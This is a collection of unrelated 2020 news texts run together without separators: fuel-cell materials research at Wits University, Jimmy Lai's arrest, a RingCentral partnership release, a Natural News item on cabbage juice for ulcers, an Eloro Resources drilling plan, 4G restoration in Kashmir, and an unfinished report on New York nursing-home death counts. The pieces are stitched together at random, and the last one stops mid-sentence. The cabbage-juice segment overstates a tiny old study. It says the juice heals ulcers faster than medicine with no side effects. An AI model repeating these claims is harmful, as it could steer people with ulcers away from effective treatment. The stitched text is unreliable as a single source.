Africa, we need sustainable and cost effective solutions to the energy crisis, particularly in the light of climate change, pressures on energy resources and rising energy costs (UN Sustainable Development Goal 7). According to the UN, slightly less than 1 billion people (13% of the global population) are functioning without electricity and 50% of them are found in Sub-Saharan Africa alone. Our research group in the Molecular Science Institute at the University of the Witwatersrand, South Africa, largely looks at energy materials for alternative energy solutions from hybrid perovskites (materials that have a potential use in making photovoltaic cells for solar panels which comprise both organic and inorganic constituents) to electroceramics such as fluorite structured material (materials where the metal atoms form a face centred cubic packing, and the non-metals fill in the tetrahedral holes in between the metal ions), to Solid Oxide Fuel Cells, and even some battery anode materials. This research is supported, in part, by GCRF START through UK-Africa collaborations to find solutions to these global challenges. START helps our group develop expertise in the use of cutting edge synchrotron techniques (through the UKs synchrotron light source, Diamond) and neutron techniques, in order to characterise energy materials adapted to the needs of the African continent. Alternative power generation the case for Solid Oxide Fuel Cells (SOFCs) SOFCs are electrochemical devices that convert chemical energy directly to electricity without a combustion step. They are highly efficient energy conversion devices, possess fuel flexibility, and demonstrate zero or reduced Carbon dioxide (CO2) emissions when Hydrogen gas (H2) or natural gas are used as fuel respectively. Achieving efficiencies of close to 80% depending on the power generation mode, SOFCs can be used off-grid which is vital in countries that experience daily power cuts (rolling blackouts or load shedding), especially in rural areas where access to electricity can be scarce, or even non-existent.SOFCs are versatile they can be used as an auxiliary, stationary or distributed power sources, which eliminates the need for expensive transmission cables. In our research, we examine the effect of temperature on the stability, conductivity, thermal expansion and related properties of the materials used in SOFCs. The aim, in the near term, is to design and study the behaviour of materials used in the fuel cells in-situ, as they operate at various temperatures, in a quest to identify sufficiently stable combinations to allow for further development and ultimately commercialisation (these materials include solid solutions of bismuth oxide, cerium oxide and yttrium oxide). One such research project is that of Sikhumbuzo Masina, Caren Billing, and Professor David Billing from the Molecular Science Institute at the School of Chemistry, University of the Witwatersrand, South Africa looking at Bi2O3, a potential SOFC electrolyte. Sikhumbuzo describes this research which is the focus of his PhD. The effects of impurity cations on the average and local structure of Bi2O3, a potential SOFCs electrolyte [1] My PhD research focuses on studying the effects of impurity cations on the average and local structure of Bi2O3, a potential SOFC electrolyte .This involves adding foreign (impurity) atoms into a material and observing the effect of these atoms on the arrangement of the host atoms and correlating this with the change in physical properties like electric conductivity, as well as thermal expansion and stability. Bi2O3 in its defect fluorite -phase a certain arrangement of atoms in the fluorite structure where some of the tetrahedral sites are empty (defective) or vacant is reported to have the highest oxide ion conductivity at 730 C. However, its local structure has proven inscrutable; it cannot be probed using conventional X-ray diffraction techniques and the four published models have proved inadequate in explaining all our observations and measurements, leaving the fundamental understanding of the real structure property relations of this family of materials as an unresolved enigmatic scientific challenge. This seemingly insurmountable local structure problem is compounded by the fact that the -phase is only stable within a narrow range of 730-824 C. Substitution of the host atoms by other foreign atoms (Doping) stabilises the -phase to room temperature but the oxygen sublattice arrangement undergoes some ordering and degradation of conductivity is observed with long term annealing (Where we heat powder in a furnace at constant temperature for a certain period of time)at temperatures less than 600 C. To conjure up solutions to these problems, complimentary local probes such as pair distribution functions (PDFs) and extended X-ray absorption fine structure (EXAFS) techniques are needed to study the local structure in greater detail. These techniques are sensitive to the local environment around a particular atom revealing, for example, the distances and angles between groups of atoms and how they are arranged and vibrate in relation to each other (correlations), hence providing the structure of a material at a more local level. In our project, we study both the average and local structure (repeat pattern over long distances and local atomic arrangements respectively) of the solid solutions of Bi2O3 which will help elucidate what entails a best fast oxide ion conductor. This will, in turn, help us design solid electrolytes that will enable solid oxide fuel cells to operate at intermediate temperatures (500-800C) and reduce their capital cost a current stumbling block to their commercialisation. Knowledge exchange and collaboration through START Energy Materials Workshops I attended a very informative START workshop at the University of Cape Town (16-17 Dec 2019) where we heard talks from scientists across the UK and South African Energy Materials community. The workshop was a great platform to build connections with START for future collaborations. I spoke to Dr Sofia Diaz-Moreno, a Principal Beamline Scientist at Diamond about the options to use the synchrotron to look at the local environment and oxidation states of the metals we are using in our SOFC research at the University of the Witwatersrand. The workshop also heard from Dr Daniel Bowron, who is the leader of the ISIS Disordered Materials Group. He described the possibility of also applying to ISIS to do neutron-studies on our materials to probe the oxygen environment so that we can understand how the oxygen sublattice would impact these kinds of solid oxide fuel cell devices when used under intermediate temperatures for a very long time. Footnote: [1]Sikhumbuzo M. Masina (a), Caren Billing(a), David G. Billing(a,b), (a)Molecular Science Institute, School of Chemistry, University of the Witwatersrand, South Africa; (b) DST-NRF Centre of Excellence in Strong Materials, University of the Witwatersrand, South Africa. [This article is supplied by GCRF START (Global Challenges Research Fund Synchrotron Techniques for African Research and Technology), a collaborative project between scientists in Africa and the UK working together on research using synchrotron science] An employee checks the print quality of copies of the Apple Daily newspaper, with a headline "Apple Daily will fight on" after media mogul Jimmy Lai Chee-ying was arrested by the national security unit, at the company's printing facility in Hong Kong on Aug. 11, 2020. (Tyrone Siu/Reuters) Hong Kongs Apple Daily Vows to Fight On After Owner Arrested HONG KONGHong Kongs Apple Daily tabloid responded with defiance on Tuesday to the arrest of owner Jimmy Lai under a new national security law imposed by Beijing, promising to fight on in a front-page headline over an image of Lai in handcuffs. Readers stood in line from the early hours to get copies of the pro-democracy tabloid a day after police raided its offices and took Lai into detention, the highest-profile arrest under the national security law. Apple Daily must fight on, the front-page headline read, amid fears the new law erodes media freedoms in the semi-autonomous territory. The prayers and encouragement of many readers and writers make us believe that as long as there are readers, there will be writers, and that Apple Daily shall certainly fight on. More than 500,000 copies were printed, compared with the usual 100,000, the paper said on its website. Mainland-born Lai, who was smuggled into Hong Kong on a fishing boat when he was a penniless 12-year-old, is one of the most prominent democracy activists in the Chinese-ruled city and an ardent critic of Communist Party rule in Beijing. His arrest comes amid a crackdown on the pro-democracy opposition in Hong Kong that has drawn international criticism and raised fears for the freedoms promised by Beijing when the former British colony returned to China in 1997. Media mogul Jimmy Lai Chee-ying, founder of Apple Daily, is detained by the national security unit in Hong Kong on Aug. 10, 2020. (Tyrone Siu TPX Images of the day/Reuters) The sweeping security law imposed on June 30 punishes anything China considers secession, subversion, terrorism, or collusion with foreign forces with up to life in prison. The citys Beijing-backed government and Chinese authorities say the law is necessary to restore order after months of protests last year, sparked by fears China was slowly eroding the citys freedoms. Hong Kong has since become another source of contention between the United States and China, whose relations were already at their most strained in years over issues including trade, the novel coronavirus, Chinas treatment of its Uyghur Muslim minority, and its claims in the South China Sea. U.S. Secretary of State Mike Pompeo on Monday called Lai a patriot saying Beijing had eviscerated Hong Kongs freedoms. U.S. Secretary of State Mike Pompeo speaks during a joint press conference with Britains Foreign Secretary Dominic Raab at Lancaster House in London on July 21, 2020. (Hannah McKay-WPA Pool/Getty Images) Britain said Lais arrest was further evidence the security law was a pretext to silence opposition, to which Chinas embassy replied by urging London to stop using freedom of the press as an excuse to discredit the law. Dancing With the Enemy Police detained Lai for suspected collusion with foreign forces after about 200 officers searched the newspapers offices, collecting 25 boxes of evidence. Handcuffed and apparently wearing the same clothes after spending the night in jail, he was driven by police on Tuesday to his yacht which police searched, according to media footage. Beijing has labeled Lai a traitor in the past and issued a statement supporting his arrest. The Beijing-backed China Daily newspaper said in an editorial Lais arrest showed the cost of dancing with the enemy. The paper added that justice delayed didnt mean the absence of justice. (L-R) Ivan Lam, Joshua Wong, and Agnes Chow speak to reporters after appearing in court in Hong Kong on July 6, 2020. (Song Bilung/The Epoch Times) Police arrested 10 people in all on Monday, including other Apple Daily executives and 23-year-old Agnes Chow, one of the former leaders of young activist Joshua Wongs Demosisto pro-democracy group, which disbanded before the new law came into force. Hong Kongs pro-democracy movement has managed to sustain broad support across the community. Shares in Next Digital, which publishes Apple Daily, surged for a second day, gaining more than 2,078 percent from Fridays close, after online pro-democracy forums called on investors to show support. Its market value rose as high as HK$5.17 billion ($666.7 million) from some HK$200 million. In the working-class neighborhood of Mong Kok, dozens of people stood in line from as early as 2 a.m. to buy Lais paper. What the police did yesterday interfered with press freedom brutally, said 45-year-old Kim Yau as she bought a copy. All Hong Kong people with a conscience have to support Hong Kong today, support Apple Daily. In another show of support, long queues formed at lunch time at the Cafe Seasons restaurant owned by Lais son, Ian, who was also arrested on Monday. The United States last week imposed sanctions on several top officials over what it said was their role in curtailing political freedoms in Hong Kong. China responded with sanctions on top U.S. legislators and others. By Yoyo Chow Alcatel-Lucent Enterprise, a leading provider of communications, networking and cloud solutions, and RingCentral, Inc. (NYSE: RNG), a leading provider of global enterprise cloud communications, collaboration and contact center solutions, today announced that they have entered into a strategic partnership to introduce a new co-branded cloud solution Rainbow Office powered by RingCentral making it unique and exclusive for Alcatel-Lucent Enterprise. RingCentral and Alcatel-Lucent Enterprise will jointly develop programs enabling both companies to lead the cloud communications services for the enterprise market. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005259/en/ "We are excited to partner with Alcatel-Lucent Enterprise and to bring our industry-leading cloud communications solutions to their customers and partners," said Vlad Shmunis, founder, chairman and CEO. "Alcatel-Lucent Enterprise's strong presence in Europe and beyond will enhance our ability to jointly enable customers and partners accelerate their migration to cloud communication solutions in these markets." Alcatel-Lucent Enterprise's mission is to deliver customized technology experiences to enterprises with a verticalized business approach in networking, communications, and cloud. Rainbow Office powered by RingCentral will enrich the company's cloud portfolio enabling customers to accelerate their digital transformation with public Unified Communications as a Service (UCaaS). "Customers demand agile, robust and secured cloud communication and collaboration solutions in today's high-speed technology world," said Jack Chen, CEO of Alcatel-Lucent Enterprise. "For our customers and partners, this strategic partnership enables us to offer them a wider choice of technology-leading cloud solutions, to comprehensively cover their business needs. This partnership will also enable Alcatel-Lucent Enterprise to accelerate the development and transformation of our cloud business to become the number one player in cloud solutions in Europe and beyond focusing on vertical solutions and services to make everything connect. It will bring significant opportunities for our well-established business partner ecosystem and strong values for our customers." Rainbow Office powered by RingCentral will be available in the first quarter of 2021. Financial Terms: Under the commercial agreement, both companies will contribute resources towards development and sales marketing of Rainbow Office powered by RingCentral. RingCentral will pay Alcatel-Lucent Enterprise $100 million in cash for exclusive access, a minimum seat commitment, and future commissions. Conference Call Details: The companies also announced that they will hold a conference call today August 11, 2020 at 5:15 AM Pacific Time (8:15 AM Eastern Time) to discuss this partnership. When: Tuesday, August 11, 2020 at 5:15AM PT (8:15AM ET). Tuesday, August 11, 2020 at 5:15AM PT (8:15AM ET). Dial-in: To access the call in the United States, please call 1-877-705-6003, and for international callers, dial 1-201-493-6725. Callers are encouraged to dial into the call 10 to 15 minutes prior to the start to prevent any delay in joining. To access the call in the United States, please call 1-877-705-6003, and for international callers, dial 1-201-493-6725. Callers are encouraged to dial into the call 10 to 15 minutes prior to the start to prevent any delay in joining. Webcast: http://ir.ringcentral.com/ (live and replay). http://ir.ringcentral.com/ (live and replay). Replay: Following the completion of the call through 11:59 PM ET on August 18, 2020, a telephone replay will be available by dialing 1-844-512-2921 from the United States or 1-412-317-6671 internationally with recording access code 13708193. Investor Presentation Details: An investor presentation providing additional information and analysis can be found at http://ir.ringcentral.com/. About Alcatel-Lucent Enterprise Alcatel-Lucent Enterprise delivers the customized technology experiences enterprises need to make everything connect. Their digital-age networking, communications and cloud solutions tailored to ensure customers' success, are offered with flexible business models; in the cloud, on premises, and hybrid. These solutions have built-in security and are designed to limit their environmental impact. Over 100 years of innovation have made Alcatel-Lucent Enterprise a trusted advisor to more than 830,000 customers in 100 countries around the world. The privately-owned company with headquarters in France has over 2900 direct business partners worldwide, achieving an effective global reach with a local focus. For more information, visit our web site at: https://www.al-enterprise.com/. For ongoing news, visit our LinkedIn, Facebook and Twitter. About RingCentral RingCentral, Inc. (NYSE: RNG) is a leading provider of cloud Message Video Phone (MVP), customer engagement and contact center solutions for businesses worldwide. More flexible and cost-effective than legacy on-premise PBX and video conferencing systems that it replaces, RingCentral empowers modern mobile and distributed workforces to communicate, collaborate, and connect via any mode, any device, and any location. RingCentral's open platform integrates with leading third-party business applications and enables customers to easily customize business workflows. RingCentral is headquartered in Belmont, California, and has offices around the world. Forward-Looking Statements This press release contains "forward-looking statements," including but not limited to, statements regarding RingCentral's future financial and operating performance, RingCentral's future financial and operating performance, RingCentral's plans to partner with Alcatel-Lucent Enterprise to offer Rainbow Office powered by RingCentral, the anticipated benefits of and activity under RingCentral's strategic partnership with Alcatel-Lucent Enterprise, including the ability to create a long-term growth opportunities for RingCentral, as well as those risks and uncertainties included under the captions "Risk Factors" and "Management's Discussion and Analysis of Financial Condition and Results of Operations," in RingCentral's Form 10-Q for the quarter ended June 30, 2020, filed with the Securities and Exchange Commission; and in other filings RingCentral makes with the Securities and Exchange Commission from time to time. All forward-looking statements in this press release are based on information available to RingCentral as of the date hereof, and we undertake no obligation to update these forward-looking statements, to review or confirm analysts' expectations, or to provide interim reports or updates. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005259/en/ Contacts: Investor Relations Contacts: Cliff Warder, Alcatel-Lucent Enterprise Cliff.Warder@al-enterprise.com +44 7736 121 506 Ryan Goodman, RingCentral + 1 (650) 918-5356 Ryan.Goodman@ringcentral.com Press Contacts: Maire Collins, Alcatel-Lucent Enterprise Maire.Collins@al-enterprise.com + 33 6 38 64 43 39 Jyotsna Grover, RingCentral + 1 650-513-8712 jyotsna.grover@ringcentral.com (Natural News) Research by Dr. Garnett Cheney of Stanford University School of Medicine shows that treating peptic ulcers with cabbage juice promotes faster healing than conventional medical treatments. As early as 1950, Cheney has been conducting studies on cabbage juice to explore its potential as a natural treatment for peptic ulcers. He discovered that a certain compound in cabbage, which he dubbed vitamin U, promotes the natural healing of intestinal sores. Now, numerous studies support Cheneys claims about the healing properties of cabbage. However, recent reports suggest that its not just one, but rather several compounds in the humble cabbage that make it and its juice an effective natural remedy for peptic ulcers. Cabbage juice helps ulcers heal more quickly than modern meds Peptic ulcers refer to open sores that form in the stomach lining or the first part of the small intestine called the duodenum. They usually develop due to bacterial infection, although in some cases, they are caused by frequent intake of pain relievers and other medications. Three types of peptic ulcers exist, namely, gastric ulcer, duodenal ulcer and esophageal ulcer. Gastric ulcer is located in the stomach, while duodenal and esophageal ulcers are located in the duodenum and esophagus, respectively. These ulcers are treated with prescription medicines including antibiotics. However, these drugs come with unwanted side effects. In his study, Cheney looked at how patients with peptic ulcers respond to cabbage juice treatment. Previous studies on guinea pigs have shown that both fresh whole cabbage and cabbage juice are effective at preventing peptic ulcers from forming. Cheney recruited 13 patients for his experiment. Seven of them had duodenal ulcers, while five had gastric ulcers. Only one patient had ulcers in another part of the small intestine called the jejunum. Cheney asked the patients to drink about a liter of cabbage juice each day. They also went through X-ray exams before treatment and six and nine days after the treatment. Cheney considered the absence of ulcers in the post-treatment X-ray results as a sign of healing. Cheney reported that the average healing time for those with duodenal ulcers who drank cabbage juice daily was 10 days. Meanwhile, the average healing time for those with gastric ulcers was seven days. In comparison, published findings show that with conventional medicines, healing time averages 37 and 42 days for duodenal and gastric ulcers, respectively. These findings demonstrate the potential of cabbage juice as an alternative treatment for peptic ulcers. Not only does it accelerate healing, but cabbage juice also doesnt cause any adverse effects. Compounds in cabbage juice are good for ulcers? Researchers now know more about the compound Cheney previously referred to as vitamin U. But instead of being just one compound, recent studies suggest that vitamin U may actually be several different components present in cabbage. For example, the amino acids, glutamine and methionine, have been identified as good for stomach health. Studies show that a form of methionine called methionine S-methyl sulfonium (MMS) stimulates the production of protective mucous. Its also equipped with potent antioxidant abilities that combat tissue-damaging oxidative stress. According to experts, MMS can support stomach healing after exposure to non-steroidal anti-inflammatory drugs or NSAIDs. NSAIDs are also major contributors to peptic ulcers as these medications have been found to damage the stomach lining. Glutamine, on the other hand, is a natural antacid that is strong enough to counter the effects of acid-reducing drugs. Dr. William Shive from The University of Texas at Austin found that a high concentration of L-glutamine may partly explain why cabbage juice is capable of healing ulcers. Cabbage also contains a powerful group of compounds known as glucosinolates. These plant nutrients are said to have protective effects against the bacterium Helicobacter pylori, which is responsible for the majority of ulcer cases. In fact, studies link vegetables rich in glucosinolates to a reduced risk of colorectal, esophageal, mouth and throat cancers. (Related: Cabbage: natural medicine for cancer, diabetes and more.) Thanks to these natural compounds, cabbage juice is an effective natural remedy that promotes the safe and natural healing of peptic ulcers. Learn more about the medicinal properties of cabbage at FoodIsMedicine.com. Sources include: NaturalHealth365.com My.ClevelandClinic.org Healthline.com NCBI.NLM.NIH.gov [PDF] AustinChronicle.com VeryWellFit.com Figure 1 Location of initial planned underground diamond drill holes, Huayra Kasa Mine. Mineral cluster domains from the synchrotron study are shown. Location of initial planned underground diamond drill holes, Huayra Kasa Mine. Mineral cluster domains from the synchrotron study are shown. TORONTO, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Eloro Resources Ltd. (TSX-V: ELO; FSE: P2Q) (Eloro, or the Company) is pleased to announce that its Bolivian subsidiary Minera Tupiza S.R.L. has completed the three (3) underground drill bays in the Huayra Kasa Mine required for the planned 3,500m underground diamond drilling program on its optioned Iska Iska Polymetallic Project in Potosi Department, southern Bolivia. The Company and contractor Empresa Minera Villegas S.R.L. have implemented safeguards to protect personnel from COVID-19. Minera Tupiza S.R.L. has received clearance from the Government of Bolivia for travel to Tupiza. Drilling will be carried out by Leduc Drilling S.R.L. and is expected to commence in early September. All workings will be systematically geologically mapped and channel sampled prior to commencement of the drill program. Table 1 below identifies the initial 20 planned underground drill holes totalling 2,225 metres at Huayra Kasa Mine and Figure 1 is a plan map showing the location of the planned holes in relation to the mineral domains defined by the synchrotron study (see press release June 25, 2020). The study concluded that synchrotron mineral cluster analysis identified four mineralogical domains that cover the entire sampling area suggesting they are related and represent a single, large mineralizing system. Furthermore, the mineralogy of the domains is consistent with minerals identified in hand specimens and are likely related to a telescoped porphyry/epithermal style of mineralization. The remaining 1,275m of drilling in the program will be allocated depending on results from the initial drilling. Tom Larsen, President & CEO of Eloro commented: The results from the synchrotron study support the concept of outlining potential bulk mineable silver-polymetallic mineralization at Iska Iska as concluded by Micon International Limited (Micon). The planned drill program follows the outline presented in the NI 43-101 Technical Report by Micon (see press release April 29, 2020), This program will be the first drilling to ever be carried out on the property and is designed to test the full extent of the mineralized system in and around the Huayra Kasa underground workings. The mineralized/altered zone is exposed in the underground workings over a width of 100m but is likely much more extensive. Drilling will be over a strike length of approximately 300m to a depth of 100m in the vicinity of the mine workings (Figure 1). Iska Iska is situated in the highly prolific Southern Bolivian Silver belt and has excellent potential to host a significant silver-polymetallic mineral deposit. Story continues Qualified Person Dr. Osvaldo Arce, P. Geo., an expert on Bolivian geology and a Qualified Person in the context of National Instrument 43-101 has reviewed and approved the technical content of this news release. Dr. Bill Pearson, P.Geo., Chief Technical Advisor for Eloro, and who has more than 45 years of worldwide mining exploration experience including extensive work in South America, will provide technical oversight to the program in consultation with Eloros Technical Advisory Committee and Micon International. Drill samples will be prepared in SGSs preparation facility in Oruro, Bolivia with pulps sent to their main laboratory in Lima, Peru for analysis by fire assay for gold and silver as well as 31 element ICP. Eloro will employ an industry standard QA/QC program with standards, blanks and duplicates About Iska Iska Iska Iska polymetallic project is a road accessible, royalty-free property, wholly-controlled by the Title Holder, Empresa Minera Villegas S.R.L. and is located 48 km north of Tupiza city, in the Sud Chichas Province of the Department of Potosi. The property can be classified as a polymetallic (Ag, Zn, Pb, Au, Cu, Bi, Sn, In) epithermal-porphyry complex. This is an important mineral deposit type in Bolivia. Eloros Bolivian subsidiary, Minera Tupiza S.R.L., has an option to acquire a 99% interest in Iska Iska. Geological mapping on the property by Eloro has revealed the spatial and temporal zonation of alteration and vein minerals in an area of about 5 square kilometres. The polymetallic mineralization occurs mainly as veins, subsidiary vein swarms, veinlets, stockworks, and disseminations, forming a subvertical vein system in both the stock and the volcanic and sedimentary rocks. Preliminary evaluation work including 42 channel samples in underground and on surface workings at Iska Iska returned significant results as summarized below. All of the channel samples included altered wall rock with widths ranging between 1.20 to 5.55 m, averaging 2.90 m (see press release of October 8, 2019 for further details). Silver. Anomalous silver values range between 35.5-694 g/t Ag (46% of channel samples). Gold. Anomalous gold values range between 0.31-28.6 g/t Au (42% of channel samples). Zinc. Anomalous zinc values range between 1.05-16.95% Zn (37% of channel samples). Lead. Anomalous lead values range between 0.41- 16.95% Pb (49% of channel samples). Copper. Anomalous copper values range between 0.1->1% (22% of channel samples). Bismuth. Anomalous bismuth values range between 967-7,380 g/t Bi (22% of channel samples). Indium. Anomalous indium values range between 10.35->500 g/t In (34% of channel samples). The synchrotron study concluded that the mineral cluster analysis identified four mineralogical domains that cover the entire sampling area suggesting they are related and represent a single, large mineralizing system. Furthermore, the mineralogy of the domains is consistent with minerals identified in hand specimen and are likely related to a telescoped porphyry/epithermal style of mineralization. Domain 1 (Figure 1) is the most pervasive while Domains 2, 3 and 4 are more localized. Dr, Osvaldo Arce, P.Geo., Project Manager in Bolivia, commented: The results from this study support the concept of outlining potential bulk mineable silver-polymetallic mineralization at Iska Iska as concluded by Micon. Domain 1 is very widespread with mineralization and alteration occurring in all rock types including granodiorite, dacite and sandstone. Some samples returned grades comparable to those samples in the more restricted domains. Domain 2 contains high silver, zinc, lead and indium values while Domain 3 has high gold and bismuth values. Domain 4 returned the highest gold value with high silver and bismuth. It is likely that the mineralization in Domains 2 to 4 is a precious metal-rich epithermal style that occurs along structures cutting the widespread Domain 1 mineralization that is of disseminated porphyry style. It should be emphasized that this is a preliminary study the conclusions of which will be refined with additional surface/underground geological mapping and diamond drilling (see press release June 25, 2020 for further details). About Eloro Resources Ltd. Eloro is an exploration and mine development company with a portfolio of gold and base-metal properties in Bolivia, Peru and Quebec. Eloro has an option to acquire a 99% interest in the highly prospective Iska Iska Property, which can be classified as a polymetallic epithermal-porphyry complex, a significant mineral deposit type in the Potosi Department, in southern Bolivia. Eloro recently commissioned a NI 43-101 Technical Report on Iska Iska, which was completed by Micon International Limited and is available on Eloros website and under its filings on SEDAR. Iska Iska is a road-accessible, royalty-free property. Eloro also owns an 82% interest in the La Victoria Gold/Silver Project, located in the North-Central Mineral Belt of Peru some 50 km south of Barricks Lagunas Norte Gold Mine and Pan American Silvers La Arena Gold Mine. La Victoria consists of eight mining concessions and eight mining claims encompassing approximately 89 square kilometres. La Victoria has good infrastructure with access to road, water and electricity and is located at an altitude that ranges from 3,150 m to 4,400 m above sea level. CAUTION REGARDING FORWARD-LOOKING INFORMATION Information in this news release may contain forward-looking information. Statements containing forward looking information express, as at the date of this news release, the Companys plans, estimates, forecasts, projections, expectations, or beliefs as to future events or results and are believed to be reasonable based on information currently available to the Company. There can be no assurance that statements of forward-looking information will prove to be accurate. Actual results and future events could differ materially from those anticipated in such statements. Readers should not place undue reliance on forward-looking information. Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release. FOR FURTHER INFORMATION PLEASE CONTACT: Thomas G. Larsen (President & CEO) Jorge Estepa (Vice-President) tlarsen@elororesources.com jestepa@elororesources.com ELORO RESOURCES LTD 20 Adelaide Street East, Suite 200 PHONE (416) 868-9168 | FAX (416) 361-1333 Toronto, Ontario, Canada M5C 2T6 www.elororesources.com Table 1: Summary of Initial Planned Underground Diamond Drill Holes, Huayra Kasa Mine. DDH No. DRILL BAY No. SECTION EASTING UTM NORTHING UTM ELEV. (masl) AZIMUTH DIP PLANNED LENGTH (m) DHK-01 1 A-A' 205616 7656385 4155 180 -10 100 DHK-02 1 A-A' 205616 7656385 4155 180 -50 100 DHK-03 1 B-B' 205616 7656385 4155 90 00 75 DHK-04 1 B-B' 205616 7656385 4155 90 -45 100 DHK-05 1 A-A' 205616 7656385 4155 N00 -50 100 DHK-06 1 B-B' 205616 7656385 4155 270 00 150 DHK-07 1 B-B' 205616 7656385 4155 270 -45 150 DHK-08 2 C-C' 205540 7656367 4155 150 -10 100 DHK-09 2 C-C' 205540 7656367 4155 150 -45 150 DHK-10 2 D-D' 205540 7656367 4155 30 -50 150 DHK-11 2 C-C' 205540 7656367 4155 330 00 100 DHK-12 2 C-C' 205540 7656367 4155 330 -45 100 DHK-13 2 D-D' 205540 7656367 4155 210 00 100 DHK-14 2 D-D' 205540 7656367 4155 210 -45 100 DHK-15 3 E-E' 205490 7656368 4155 315 00 100 DHK-16 3 E-E' 205490 7656368 4155 315 -45 150 DHK-17 3 F-F' 205490 7656368 4155 270 00 100 DHK-18 3 F-F' 205490 7656368 4155 270 -45 150 DHK-19 3 G-G' 205490 7656368 4155 225 00 100 DHK-20 3 G-G' 205490 7656368 4155 225 -45 150 TOTAL 2,225 Note: Final drill hole coordinates and depths may vary from planned. A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/12b060eb-d0b5-409e-a676-066877b0f194 The Centre told the Supreme Court on Tuesday (August 11) that a review committee has decided that 4G internet services will be allowed on a trial basis in one district each in Jammu and one in the Kashmir valley after August 15. The Centre also informed the top court that review committe has also found that situation is not conducive to restore 4G internet services in maximum parts of Jammu and Kashmir. The Centre also told the SC that the relaxation will be given only in areas which are not near the Line of Control and 4G internet services will be first restored in areas which have a low intensity of terrorist activities. The Centre said that the situation will be reviewed by the government after two months. "A carefully calibrated view was taken and on a trial basis, the committee has stated that High speed internet could be restored in certain area with strict monitoring. Area should have low threshold of terrorist activities," said the Centre. On Friday (August 7), the SC had asked the Centre to explore the possibility of restoring 4G services in some areas of Jammu and Kashmir. During the hearing, the Jammu and Kashmir administration had sought time to take instructions on the restoration of 4G services in the Union Territory, saying a new Lieutenant Governor has taken charge in the UT. Notably, Manoj Sinha was appointed the new Lt Governor of Jammu and Kashmir after former L-G GC Murmu quit on August 5. It may be recalled that 4G internet services in Jammu and Kashmir were suspended on August 5, 2019, after the Centre abrogated Article 370 which granted special status to the erstwhile state of Jammu and Kashmir and bifurcated Jammu and Kashmir into two union territories - Jammu and Kashmir, and Ladakh. NEW YORK Riverdale Nursing Home in the Bronx appears, on paper, to have escaped the worst of the coronavirus pandemic, with an official state count of just four deaths in its 146-bed facility. The truth, according to the home, is far worse: 21 dead, most transported to hospitals before they succumbed. It was a cascading effect, administrator Emil Fuzayov recalled. One after the other. New Yorks coronavirus death toll in nursing homes, already among the highest in the nation, could actually be a significant undercount. Unlike every other state with major outbreaks, New York only counts residents who died on nursing home property and not those who were transported to hospitals and died there. That statistic that could add thousands to the states official care home death toll of just over 6,600. But so far the administration of Democratic Gov. Andrew Cuomo has refused to divulge the number, leading to speculation the state is manipulating the figures to make it appear it is doing a better than other states and to make a tragic situation less dire. Thats a problem, bro, state Sen. Gustavo Rivera, a Democrat, told New York Health Commissioner Howard Zucker during a legislative hearing on nursing homes earlier this month. It seems, sir, that in this case you are choosing to define it differently so that you can look better." How big a difference could it make? Since May, federal regulators have required nursing homes to submit data on coronavirus deaths each week, whether or not residents died in the facility or at a hospital. Because the requirement came after the height of New Yorks outbreak, the available data is relatively small. According to the federal data, roughly a fifth of the states homes reported resident deaths from early June to mid July a tally of 323 dead, 65 percent higher than the states count of 195 during that time period. Even if half that undercount had held true from the start of the pandemic, that would translate into thousands more nursing home resident deaths than the state has acknowledged. Another group of numbers also suggests an undercount. State health department surveys show 21,000 nursing home beds are lying empty this year, 13,000 more than expected an increase of almost double the official state nursing home death tally. While some of that increase can be attributed to fewer new admissions and people pulling their loved ones out, it suggests that many others who arent there anymore died. However flawed New Yorks count, Cuomo has not been shy about comparing it to tallies in other states. Nearly every time Cuomo is questioned about New Yorks nursing home death toll, he brushes off criticism as politically motivated and notes that his states percentage of nursing home deaths out of its overall COVID-19 death toll is around 20%, far less than Pennsylvanias 68%, Massachusetts 64% and New Jerseys 44%. Look at the basic facts where New York is versus other states, Cuomo said during a briefing Monday. You look at where New York is as a percentage of nursing home deaths, its all the way at the bottom of the list. In another briefing last month, he touted New Yorks percentage ranking as 35th in the nation. Go talk to 34 other states first. Go talk to the Republican states now Florida, Texas, Arizona ask them what is happening in nursing homes. Its all politics. Boston University geriatrics expert Thomas Perls said it doesnt make sense that nursing home resident deaths as a percentage of total deaths in many nearby states are more than triple what was reported in New York. Whatever the cause, there is no way New York could be truly at 20%, Perls said. A running tally by The Associated Press shows that more than 68,200 residents and staff at nursing homes and long-term facilities across the nation have died from the coronarivus, out of more than 163,000 overall deaths. For all 43 states that break out nursing home data, resident deaths make up 44% of total COVID deaths in their states, according to data from the Kaiser Family Foundation. Assuming the same proportion held in New York, that would translate to more than 11,000 nursing home deaths. To be sure, comparing coronavirus deaths in nursing homes across states can be difficult because of the differences in how states conduct their counts. New York is among several states that include probable COVID-19 deaths as well as those confirmed by a test. Some states dont count deaths from homes where fewer than five have died. Others dont always give precise numbers, providing ranges instead. And all ultimately rely on the nursing homes themselves to provide the raw data. Everybody is doing it however they feel like doing it. We dont have very good data. Its just all over the place, all over the country, said Toby Edelman of the Center for Medicare Advocacy, a nonprofit representing nursing home residents. New York health chief Zucker explained during the legislative hearing that New York only counts deaths on the nursing home property to avoid double-counting deaths in both the home and the hospital. And while he acknowledged the state keeps a running count of nursing home resident deaths at hospitals, he declined to provide even a rough estimate to lawmakers. I will not provide information that I have not ensured is absolutely accurate, Zucker said. This is too big an issue and its too serious an issue. Zucker promised to provide lawmakers the numbers as soon as that doublechecking is complete. They are still waiting. The AP has also been denied access to similar nursing home death data despite filing a public records request with the state health department nearly three months ago. Dr. Michael Wasserman, president of the California Association of Long Term Care Medicine, said it is unethical of New York to not break out the deaths of nursing home residents at hospitals. From an epidemiological and scientific perspective, there is absolutely no reason not to count them. Nursing homes have become a particular sore point for the Cuomo administration, which has generally received praise for steps that flattened the curve of infections and New Yorks highest-in-the-nation 32,781 overall deaths. But a controversial March 25 order to send recovering COVID-19 patients from hospitals into nursing homes that was designed to free up hospital bed space at the height of the pandemic has drawn withering criticism from relatives and patient advocates who contend it accelerated nursing home outbreaks. Cuomo reversed the order under pressure in early May. And his health department later released an internal report that concluded asymptomatic nursing home staffers were the real spreaders of the virus, not the 6,300 recovering patients released from hospitals into nursing homes. But epidemiologists and academics derided the study for a flawed methodology 